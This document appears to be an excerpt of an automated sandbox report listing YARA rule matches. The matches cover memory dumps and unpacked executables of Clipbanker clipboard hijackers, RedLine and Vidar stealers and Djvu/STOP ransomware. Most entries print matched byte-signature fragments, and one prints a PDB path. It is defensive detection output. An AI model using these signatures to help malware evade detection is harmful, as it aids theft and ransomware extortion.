0000001C.00000002.2059366101.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001F.00000002.2676356915.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001F.00000002.2676356915.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001F.00000002.2676356915.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000D.00000002.1620588181.0000000000850000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000000D.00000002.1620588181.0000000000850000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000D.00000002.1620588181.0000000000850000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000013.00000002.1703479175.0000000000B3C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x773c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000020.00000002.3283516956.0000000000AC0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x70a4:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000021.00000002.3281999346.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000021.00000002.3281999346.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000021.00000002.3281999346.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001E.00000002.2677244146.0000000000880000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6fb4:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.1703198337.0000000000960000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000013.00000002.1703198337.0000000000960000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000013.00000002.1703198337.0000000000960000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001B.00000002.2060305239.0000000000920000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001B.00000002.2060305239.0000000000920000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001B.00000002.2060305239.0000000000920000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000010.00000002.1620958954.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000010.00000002.1620958954.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000010.00000002.1620958954.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000020.00000002.3283314593.0000000000960000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000020.00000002.3283314593.0000000000960000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000020.00000002.3283314593.0000000000960000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000B.00000002.1672621226.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: R5391762lf.exe PID: 7304	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: R5391762lf.exe PID: 7304	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x41911:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: R5391762lf.exe PID: 7360	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: R5391762lf.exe PID: 7360	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x45d1c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: R5391762lf.exe PID: 7500	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: R5391762lf.exe PID: 7500	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x495a3:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: R5391762lf.exe PID: 7508	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: R5391762lf.exe PID: 7508	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x37193:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 68 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
16.2.build3.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
16.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
16.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
20.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
20.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
30.2.mstsca.exe.8615a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.8615a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
19.2.mstsca.exe.9615a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
19.2.mstsca.exe.9615a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
27.2.mstsca.exe.9215a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
27.2.mstsca.exe.9215a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
27.2.mstsca.exe.9215a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
28.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
28.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
31.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
31.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
31.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
32.2.mstsca.exe.9615a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
32.2.mstsca.exe.9615a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
32.2.mstsca.exe.9615a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
9.2.build2.exe.1ba15a0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
